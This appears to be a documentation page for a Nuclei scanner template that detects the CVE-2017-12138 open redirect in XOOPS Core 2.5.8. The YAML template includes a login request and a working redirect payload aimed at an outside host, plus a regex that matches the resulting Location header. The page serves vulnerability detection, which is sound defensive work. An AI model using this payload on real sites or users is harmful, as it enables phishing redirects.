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XOOPS Core 2.5.8 - Open Redirect

ID: CVE-2017-12138

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2017,redirect,xoops,authenticated

Description

Section titled “Description”

XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2017-12138


info:
  name: XOOPS Core 2.5.8 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of XOOPS Core to fix the open redirect vulnerability.
  reference:
    - https://github.com/XOOPS/XoopsCore25/issues/523
    - https://xoops.org
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12138
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-12138
    cwe-id: CWE-601
    epss-score: 0.00062
    epss-percentile: 0.26054
    cpe: cpe:2.3:a:xoops:xoops:2.5.8:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: xoops
    product: xoops
  tags: cve,cve2017,redirect,xoops,authenticated


http:
  - raw:
      - |
        POST /user.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        uname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login
      - |
        GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4b0a004830460221008c06ab8a45404bc839a3eb8d67879d90f2d8e5f741d9af418166ba88f20b1f79022100c64f0ca2f3d7c479cdd9709ca3721dc019853fa5d806d164e1dc52ed31e8117a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12138.yaml"

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